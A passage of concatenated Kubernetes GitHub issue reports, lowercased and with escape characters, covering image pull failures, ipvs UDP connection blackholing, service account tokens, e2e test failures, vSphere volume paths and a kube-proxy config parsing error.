cni.projectcalico.org/podip: 10.20.0.68/32\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ v1\ ,\ kind\ :\ pod\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ private-reg\ ,\ namespace\ :\ web\ },\ spec\ :{\ containers\ : {\ image\ :\ registry.example.com/my/app:latest\ ,\ name\ :\ private-reg-container\ } ,\ imagepullsecrets\ : {\ name\ :\ regcred\ } }}\r   creationtimestamp: 2018-07-13t13:51:07z\r   name: private-reg\r   namespace: web\r   resourceversion: \ 1776182\ \r   selflink: /api/v1/namespaces/web/pods/private-reg\r   uid: cb14fc27-86a3-11e8-b5a6-005056a651df\r spec:\r   containers:\r   - image: registry.example.com/my/app:latest\r     imagepullpolicy: always\r     name: private-reg-container\r     resources: {}\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: default-token-p2ccm\r       readonly: true\r   dnspolicy: clusterfirst\r   imagepullsecrets:\r   - name: regcred\r   nodename: syso-svr-kpwl1\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: default\r   serviceaccountname: default\r   terminationgraceperiodseconds: 30\r   volumes:\r   - name: default-token-p2ccm\r     secret:\r       defaultmode: 420\r       secretname: default-token-p2ccm\r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: 2018-07-13t13:51:07z\r     status: \ true\ \r     type: initialized\r   - lastprobetime: null\r     lasttransitiontime: 2018-07-13t13:51:07z\r     message: 'containers with unready status:  private-reg-container '\r     reason: containersnotready\r     status: \ false\ \r     type: ready\r   - lastprobetime: null\r     lasttransitiontime: 2018-07-13t13:51:07z\r     status: \ true\ \r     type: podscheduled\r   containerstatuses:\r   - image: registry.example.com/my/app:latest\r     imageid: \ \ \r     laststate: {}\r     name: private-reg-container\r     ready: false\r     restartcount: 0\r     state:\r       waiting:\r         message: back-off pulling image \ registry.example.com/my/app:latest\ \r         reason: imagepullbackoff\r   hostip: 172.24.142.35\r   phase: pending\r   podip: 10.20.0.68\r   qosclass: besteffort\r   starttime: 2018-07-13t13:51:07z\r    \r \r at first i thought this was a containerd/cri issue so i opened an issue there https://github.com/containerd/cri/issues/848 but honestly i don't know.\r \r   environment  :\r - kubernetes version  use  kubectl version  : kubernetes v1.10.5\r - cloud provider or hardware configuration: vsphere\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : linux syso-svr-kpwl1 4.17.1-1.el7.elrepo.x86_64   1 smp mon jun 11 18:44:51 edt 2018 x86_64 x86_64 x86_64 gnu/linux\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   \r \r   what happened  :\r i made an extension apiserver based on the example.  i tried to scrape its prometheus metrics at  /metrics , and was rewarded with a 404.  i looked for a command line flag to enable metrics, and found none.\r \r   what you expected to happen  :\r i expected to get the same sort of result i get from the regular kube apiserver.\r \r   how to reproduce it  as minimally and precisely as possible   :\r this is easy to see by code inspection.  see how https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/server/options/feature.go defines a flag for  profiling  that controls  o.enableprofiling , but there is no analogous control over  o.enablemetrics .  see also how https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/server/config.go provides a default value of  true  for  enablemetrics  but the release-1.10 edition does not.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r we're running  syslog  pod behind  service  and sending logs via udp to it.\r it is k8s v1.13.3 with ipvs services.\r when  syslog  pod gets restarted logs getting blackholed.\r simplified example on a node:\r    \r   ipvsadm -ln | grep :514\r ip virtual server version 1.2.1  size=4096 \r prot localaddress:port scheduler flags\r   -> remoteaddress:port           forward weight activeconn inactconn\r udp  192.168.127.89:514 lc\r   -> 192.168.128.193:514          masq    1      0          1\r   -> 192.168.129.116:514          masq    0      0          1\r    \r so, old pod had ip 192.168.129.116, new pod - 192.168.128.193.\r weight correctly forwards all new traffic to new pod, but there are some  inactconn  which are still sending traffic to non-existing ip:\r    \r   ipvsadm -lnc | grep :514\r ipvs connection entries\r pro expire state       source             virtual            destination\r udp 04:24  udp         192.168.127.89:44117 192.168.127.89:514 192.168.129.116:514\r udp 04:12  udp         192.168.128.178:42898 192.168.127.89:514 192.168.128.193:514\r    \r minimal value for udp connection expiration is 1s:\r  ipvsadm --set 0 0 1 \r but logs are being sent at much faster rates, so these broken connections are never expire.\r issue introduced by\r https://github.com/kubernetes/kubernetes/issues/71514\r https://github.com/kubernetes/kubernetes/pull/71881\r looks like this supposed to keep old pod running, while there are still connections to it\r    go\r \t\t\t// delete rs with no connections\r \t\t\t// for udp, activeconn is always 0\r \t\t\t// for tcp, inactiveconn are connections not in established state\r \t\t\tif rs.activeconn+rs.inactiveconn != 0 {\r    \r but is there a reason to still keep these realserver entries, while old pod already cleaned up and no such ip exist?\r \r   what you expected to happen  :\r  kube-proxy  would cleanup all non-existing realservers from ipvs entries.\r \r   how to reproduce it  as minimally and precisely as possible   :\r repro steps are same as for host-port issue:\r https://github.com/kubernetes/kubernetes/issues/59033\r \r   anything else we need to know?  :\r sysctls are default:\r    \r net.ipv4.vs.expire_nodest_conn = 1\r net.ipv4.vs.conn_reuse_mode = 0\r net.ipv4.vs.conntrack = 1\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\ , gitcommit:\ 721bfa751924da8d1680787490c54b9179b1fed0\ , gittreestate:\ clean\ , builddate:\ 2019-02-01t20:08:12z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\ , gitcommit:\ 721bfa751924da8d1680787490c54b9179b1fed0\ , gittreestate:\ clean\ , builddate:\ 2019-02-01t20:00:57z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: on-premise\r - os  e.g:  cat /etc/os-release  : debian 9\r - kernel  e.g.  uname -a  : 4.9.0-8-amd64\r - install tools:\r - others:\r

hello,  i faced this issue: https://github.com/kubernetes/kubernetes/issues/24829 with dns, and it ended up being a problem with my   serviceaccount    secret  token that was   invalid  .  i had 3 secrets in my  kube-system    serviceaccount   for some reason.  i understand that when  secrets  are deleted, a new token is generated and associated with the   serviceaccount  .  i just don't understand how i ended up with 3 secrets, and how one  maybe 2?  was invalid. - how are secrets invalidated?  - how are they created besides when there are none? is it on  apiserver  start? on  kubelet  start?  - it's obviously possible to have multiple tokens for a service account, but how can this happen automatically?  when invalidated, shouldn't these automatically generated tokens also be automatically removed from the   serviceaccount  ?   thanks

we should include federation e2e in merge bot testing, so that we can catch prs that break the test. we need to ensure that it is 100% green before doing this.  @colhom can you take this up?  cc @kubernetes/sig-cluster-federation

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-smoke/1349/  failed:  k8s.io  secrets should be consumable from pods in volume with defaultmode set  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:133 expected error:     < url.error | 0xc820f00000>: {         op: \ get\ ,         url: \ https://104.196.213.236/api/v1/watch/namespaces/e2e-tests-secrets-vt62e/serviceaccounts?fieldselector=metadata.name%3ddefault\ ,         err: {},     }     get https://104.196.213.236/api/v1/watch/namespaces/e2e-tests-secrets-vt62e/serviceaccounts?fieldselector=metadata.name%3ddefault: net/http: tls handshake timeout not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:230

i tried to create a kubernetes deployment with vsphere volume with volume path \r \  datastore  kubevols/redis-master\ . \r in this case the cloud provider queries the getdevicenamefrommount   to return the path of the volume mounted. since getdevicenamefrommount   queries the filesystem to get the mount references, it returns a volume path \  datastore \\\\\\040kubevols/redis-master\ . later the kubelet searches for this volume path in both the actual and desired states. th actual and desired states contains volume with path \  datastore  kubevols/redis-master\ . so, it couldn't find such volume path and therefore kubernetes stalls unable to make any progress further similar to one described in  37022. \r \r however, when i create a kubernetes deployment with volume path - \  datastore kubevols/redis-master\  which doesn't contain any spaces, it works perfectly fine. \r \r so, the basic problem is to format and return the correct volume path from  getdevicenamefrommount   function. alternatively, we can format it properly in the cloud provider code but this has to be done individually in all the cloud provider code base. inorder to prevent it, it would be better to fix the getdevicenamefrommount   function to return the correct formatted volume path.\r \r @abrarshivani @kerneltime @pdhamdhere

currently kubectl sends a \ scope\  field with its refresh request. it guesses the scopes used or the user is allowed to provide them.\r \r however, omitting \ scope\  means \ default to the original authorized scopes\  which is probably more useful for a vast majority of cases.\r \r if unspecified, the client shouldn't send a \ scope\  field.\r \r relevant rfc section: https://tools.ietf.org/html/rfc6749 section-6\r \r edit: if someone can assign me that'd be awesome.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gci-gce-1.5-test/70/  failed:  k8s.io  pod disks should schedule a pod w/ a readonly pd on two hosts, then remove both gracefully.  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pd.go:309 expected error:     < errors.errorstring | 0xc4203d4d00>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pd.go:296       previous issues for this test:  28297  37101

following the document to install kubernetes on aws\r http://kubernetes.io/docs/getting-started-guides/kubeadm/\r \r kube-dns is stuck in containercreating....\r \r   kubernetes version    use  kubectl version  :\r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , \r \r   environment  :\r -   cloud provider \r aws\r -   os    e.g. from /etc/os-release :\r linux ip-10-43-144-27 4.4.0-45-generic  66-ubuntu smp wed oct 19 14:12:37 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r it was working last week, suddenly, i am having problems with kube-dns coming up\r   firstseen     lastseen        count   from                            subobjectpath   type            reason          message\r   ---------     --------        -----   ----                            -------------   --------        ------          -------\r   9m            9m              1       {default-scheduler }                            normal          scheduled       successfully assigned kube-dns-654381707-k98vh to ip-10-43-144-27\r   9m            0s              532     {kubelet ip-10-43-144-27}                       warning         failedsync      error syncing pod, skipping: failed to \ setupnetwork\  for \ kube-dns-654381707-k98vh_kube-system\  with setupnetworkerror: \ failed to setup network for pod \\\ kube-dns-654381707-k98vh_kube-system 0d75d8bc-c0ba-11e6-9884-028a08ffbd39 \\\  using network plugins \\\ cni\\\ : cni config unintialized; skipping pod\ \r \r \r \r \r  \r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/41821/pull-kubernetes-e2e-gce-gci/18753/\r \r  go run hack/e2e.go -v -test --test_args='--ginkgo.focus=statefulset\\s\\ k8s\\.io\\ \\sbasic\\sstatefulset\\sfunctionality\\s\\ statefulsetbasic\\ \\sscaling\\sshould\\shappen\\sin\\spredictable\\sorder\\sand\\shalt\\sif\\sany\\sstateful\\spod\\sis\\sunhealthy$' \r \r @ncdc do you know the statefulset owners?

we have a pvc that uses the alpha annotation to dynamically provision a gce pd/pv. sometimes in our test environment, the dynamically provisioned pv gets automatically deleted by the pv controller without any of us deleting the pvc. i am attaching the controller manager logs here:  kube-controller-manager.log-20170523-1495580401.gz  https://github.com/kubernetes/kubernetes/files/1026899/kube-controller-manager.log-20170523-1495580401.gz \r \r interesting bits in the logs start at:\r \r    \r i0523 22:08:01.117123       5 gce_util.go:122  successfully created gce pd volume jenkins-us-central1-f--pvc-4723f163-4004-11e7-a75a-42010a80000a\r    \r \r the namespaced name of the claim is  f8n-system-agent-pr-93-0/e2e-f8n-agent-pr-93-0-apiserver-etcd-claim \r \r here is the deployment yaml\r \r    yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   annotations:\r     federation.alpha.kubernetes.io/federation-name: e2e-f8n-agent-pr-93-0\r   labels:\r     app: federated-cluster\r   name: e2e-f8n-agent-pr-93-0-apiserver\r   namespace: f8n-system-agent-pr-93-0\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: federated-cluster\r       module: federation-apiserver\r   strategy:\r     rollingupdate:\r       maxsurge: 1\r       maxunavailable: 1\r     type: rollingupdate\r   template:\r     metadata:\r       annotations:\r         federation.alpha.kubernetes.io/federation-name: e2e-f8n-agent-pr-93-0\r       creationtimestamp: null\r       labels:\r         app: federated-cluster\r         module: federation-apiserver\r       name: e2e-f8n-agent-pr-93-0-apiserver\r     spec:\r       containers:\r       - command:\r         - /hyperkube\r         - federation-apiserver\r         - --admission-control=namespacelifecycle\r         - --advertise-address=104.154.166.121\r         - --basic-auth-file=/etc/federation/apiserver/basicauth.csv\r         - --bind-address=0.0.0.0\r         - --client-ca-file=/etc/federation/apiserver/ca.crt\r         - --etcd-servers=http://localhost:2379\r         - --secure-port=8443\r         - --tls-cert-file=/etc/federation/apiserver/server.crt\r         - --tls-private-key-file=/etc/federation/apiserver/server.key\r         - --token-auth-file=/etc/federation/apiserver/token.csv\r         - --v=4\r         image: gcr.io/k8s-jkns-pr-bldr-e2e-gce-fdrtn/hyperkube-amd64:v1.7.0-alpha.4.362_c5319821fe72fa\r         imagepullpolicy: ifnotpresent\r         name: apiserver\r         ports:\r         - containerport: 8443\r           name: https\r           protocol: tcp\r         - containerport: 8080\r           name: local\r           protocol: tcp\r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /etc/federation/apiserver\r           name: e2e-f8n-agent-pr-93-0-apiserver-credentials\r           readonly: true\r       - command:\r         - /usr/local/bin/etcd\r         - --data-dir\r         - /var/etcd/data\r         image: gcr.io/google_containers/etcd:3.0.17\r         imagepullpolicy: ifnotpresent\r         name: etcd\r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /var/etcd\r           name: etcddata\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r       volumes:\r       - name: e2e-f8n-agent-pr-93-0-apiserver-credentials\r         secret:\r           defaultmode: 420\r           secretname: e2e-f8n-agent-pr-93-0-apiserver-credentials\r       - name: etcddata\r         persistentvolumeclaim:\r           claimname: e2e-f8n-agent-pr-93-0-apiserver-etcd-claim\r    \r \r cc @kubernetes/sig-storage-bugs @saad-ali @kubernetes/sig-federation-bugs

cc @kubernetes/sig-service-catalog-test-failures \r cc @kubernetes/kubernetes-release-managers \r \r both tests failing on our upgrade cluster test suite\r \r https://k8s-testgrid.appspot.com/master-upgrade gce-1.7-master-upgrade-cluster-parallel\r \r example failures\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel/568\r \r looks like an api group not being enabled?\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/podpreset.go:151\r expected error:\r     < errors.statuserror | 0xc420018e00>: {\r         errstatus: {\r             typemeta: {kind: \ \ , apiversion: \ \ },\r             listmeta: {selflink: \ \ , resourceversion: \ \ },\r             status: \ failure\ ,\r             message: \ the server could not find the requested resource  post podpresets.settings.k8s.io \ ,\r             reason: \ notfound\ ,\r             details: {\r                 name: \ \ ,\r                 group: \ settings.k8s.io\ ,\r                 kind: \ podpresets\ ,\r                 uid: \ \ ,\r                 causes:  \r                     {\r                         type: \ unexpectedserverresponse\ ,\r                         message: \ 404 page not found\ ,\r                         field: \ \ ,\r                     },\r                  ,\r                 retryafterseconds: 0,\r             },\r             code: 404,\r         },\r     }\r     the server could not find the requested resource  post podpresets.settings.k8s.io \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/podpreset.go:75\r

is this a bug report or feature request?  :\r   \r   anything else we need to know?  :\r enable running the cloud controller manager using a different aws account than the worker instances.\r \r the aws cloud provider for kubernetes assumes that all of the master and worker nodes run in the same aws account. i would like to be able to run the master nodes in a separate aws account to keep separate the running of the cluster from what runs on the cluster. by default, the cloud provider uses the ec2 instance role. i would like a way to provide an aws iam role to use instead.\r \r for example, if i created my master instance in aws account a, and my worker instance in account b, i want to be able to provide an iam role from account b that controller manager, running on an instance in account a, would assume. any resources created  i.e. elb  would be created using the assume role in account b.\r \r i would like to propose adding a rolearn property to the aws cloud config file. if present, the cloud provider would use an assumeroleprovider instead of the ec2roleprovider when initializing the aws sdk client such that all requests to aws are made with the assumed role. assumeroleprovider automatically renews the assumed role when it expires. \r \r   also considered:  \r i could use the environment variables to pass temporary credentials after manually assuming the target role  aws_access_key_id, etc . as far as i understand, the credentials returned from assuming a role expire after a certain amount of time so this would not work for a long-running process. the cloud controller manager process would need to be restarted in order to re-assume the role after it has expired.\r \r note this request was previously shared here for initial comments here:\r https://docs.google.com/document/d/1x4di30q3yi8sr3x4xnz3dcjisl1rj2kbvnm1ld5s4ka/edit?usp=sharing\r

 \r   what happened  :\r  kubectl describe psp  does not show the description for the new  sysctl  field added in https://github.com/kubernetes/kubernetes/pull/63717\r \r   what you expected to happen  :\r  kubectl describe psp  should describe the new field.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl describe psp \r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r \r   what happened  :\r when pod a is started, new requests to pod a is already accepted by pod a, but when   pod a wants to access pod b's service, i get the error message that pod a cannot resolve service b, hostname cannot be resolved.but after a while, pod a can resovle pod b's service.but pod a has lost many requests already.\r   what you expected to happen  :\r when a pod can accept request, then it should resolve other dns.\r   how to reproduce it  as minimally and precisely as possible   :\r when u have 2 replicas already, then make it 3, but during this time ,u have to keep sending requests to the service, make sure the pods wants to access other services by service name , u will see the error message about hostname cannot be resovled.\r \r   anything else we need to know?  :\r \r   environment  :\r - 1.7.5  use  kubectl version  :\r - cloud provider\r - ubuntu\r - 16.04\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r \r  \r kind bug\r \r \r \r   what happened  :when i do kubectl describe hpa  iam getting \r  no metrics returned from resource metrics api\r \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r install kubectl kubeadm kubelet kubernetes-cni and do a kubeadm init on ubunt 16.04 x64\r and \r follow the steps in the link\r https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale-walkthrough/\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t18:02:47z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - os  e.g. from /etc/os-release :name=\ ubuntu\ \r                                                                  version=\ 16.04 lts  xenial xerus \ \r \r - kernel  e.g.  uname -a  : linux master 4.4.0-21-generic  37-ubuntu smp mon apr 18 18:33:37 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r

what would you like to be added  :\r remove any logic in kube-proxy that tries to automatically clean up proxy rules based on the proxy mode. only attempt to clean up if  --cleanup  is set.\r \r   why is this needed  :\r this is a continuation of a discussion from https://github.com/kubernetes/kubernetes/pull/75377. there's a lot of complexity that comes with switching the proxy mode on kube-proxy because it tries to delete proxy rules created from other proxy modes. this has a lot of side-effects and we should be encouraging users to reboot thier nodes along with switching proxy modes. one example of this can be found https://github.com/kubernetes/kubernetes/issues/75360. \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r set multi cluster-cidr in kube-proxy config file not work\r \r the log output:\r    \r f0517 17:39:28.837415   33014 server.go:463  failed complete: v1alpha1.kubeproxyconfiguration.clustercidr: readstring: expects \  or n, but found  , error found in  10 byte of ...|tercidr\ : \ 10.1.2.0/|..., bigger context ...|es/kube-proxy.kubeconfig\ ,\ qps\ :5},\ clustercidr\ : \ 10.1.2.0/23\ ,\ 10.1.4.0/22\ ,\ 10.1.8.0/21\ ,\ 10.1.16|...\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r kube-proxy config file /etc/kubernetes/kube-proxy-config.yaml\r    \r apiversion: kubeproxy.config.k8s.io/v1alpha1\r bindaddress: 0.0.0.0\r clientconnection:\r   acceptcontenttypes: \ \ \r   burst: 10\r   contenttype: application/vnd.kubernetes.protobuf\r   kubeconfig: \ /etc/kubernetes/kube-proxy.kubeconfig\ \r   qps: 5\r clustercidr:\r   - 10.1.2.0/23\r   - 10.1.4.0/22\r   - 10.1.8.0/21\r   - 10.1.16.0/20\r   - 10.1.32.0/19\r   - 10.1.64.0/18\r   - 10.1.128.0/17\r \r configsyncperiod: 15m0s\r conntrack:\r   max: 0\r   maxpercore: 0\r   min: 131072\r   tcpclosewaittimeout: 0s\r   tcpestablishedtimeout: 0s\r enableprofiling: false\r healthzbindaddress: 0.0.0.0:10256\r hostnameoverride: \ \ \r iptables:\r   masqueradeall: false\r   masqueradebit: 14\r   minsyncperiod: 0s\r   syncperiod: 30s\r ipvs:\r   excludecidrs: null\r   minsyncperiod: 0s\r   scheduler: \ \ \r   syncperiod: 30s\r kind: kubeproxyconfiguration\r metricsbindaddress: 127.0.0.1:10249\r mode: \ ipvs\ \r nodeportaddresses: null\r oomscoreadj: -999\r portrange: \ \ \r resourcecontainer: /kube-proxy\r    \r \r start command line\r    \r execstart=/usr/local/kubernetes/bin/kube-proxy \\\r   --config=/etc/kubernetes/kube-proxy-config.yaml \\\r   --logtostderr=false \\\r   --v=2 \\\r   --log-dir /var/log/kubernetes\r    \r error log\r    \r log file created at: 2019/05/17 17:53:13\r running on machine: k8s-test02\r binary: built with gc go1.12.1 for linux/amd64\r log line format:  iwef mmdd hh:mm:ss.uuuuuu threadid file:line  msg\r f0517 17:53:13.085475    7329 server.go:463  failed complete: v1alpha1.kubeproxyconfiguration.clustercidr: readstring: expects \  or n, but found  , error found in  10 byte of ...|tercidr\ : \ 10.1.2.0/|..., bigger context ...|es/kube-proxy.kubeconfig\ ,\ qps\ :5},\ clustercidr\ : \ 10.1.2.0/23\ ,\ 10.1.4.0/22\ ,\ 10.1.8.0/21\ ,\ 10.1.16|...\r goroutine 1  running :\r k8s.io/kubernetes/vendor/k8s.io/klog.stacks 0xc00000e001, 0xc000636000, 0x87b, 0x2710 \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/klog/klog.go:828 +0xb1\r k8s.io/kubernetes/vendor/k8s.io/klog.  loggingt .output 0x2703480, 0xc000000003, 0xc00036a000, 0x2643fa0, 0x9, 0x1cf, 0x0 \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/klog/klog.go:782 +0x161\r k8s.io/kubernetes/vendor/k8s.io/klog.  loggingt .printf 0x2703480, 0x3, 0x16d7281, 0x13, 0xc0006ffd48, 0x1, 0x1 \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/klog/klog.go:678 +0x14e\r k8s.io/kubernetes/vendor/k8s.io/klog.fatalf ... \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/klog/klog.go:1209\r k8s.io/kubernetes/cmd/kube-proxy/app.newproxycommand.func1 0xc000718000, 0xc000126050, 0x0, 0x5 \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/app/server.go:463 +0xd0\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc000718000, 0xc00003a1f0, 0x5, 0x5, 0xc000718000, 0xc00003a1f0 \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:760 +0x2ae\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc000718000, 0x17693d0, 0x2703080, 0x16cab1d \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:846 +0x2ec\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute ... \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:794\r main.main  \r         _output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/proxy.go:49 +0x105\r \r goroutine 5  chan receive :\r k8s.io/kubernetes/vendor/k8s.io/klog.  loggingt .flushdaemon 0x2703480 \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/klog/klog.go:943 +0x8b\r created by k8s.io/kubernetes/vendor/k8s.io/klog.init.0\r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/klog/klog.go:403 +0x6c\r \r goroutine 66  select :\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x17693e8, 0x12a05f200, 0x0, 0x1, 0xc0000ee0c0 \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:164 +0x181\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until ... \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.forever 0x17693e8, 0x12a05f200 \r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:79 +0x50\r created by k8s.io/kubernetes/vendor/k8s.io/component-base/logs.initlogs\r         /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/component-base/logs/logs.go:60 +0x8a\r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:11:31z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:02:58z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r - cloud provider or hardware configuration:\r bare machine\r - os  e.g:  cat /etc/os-release  :\r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ 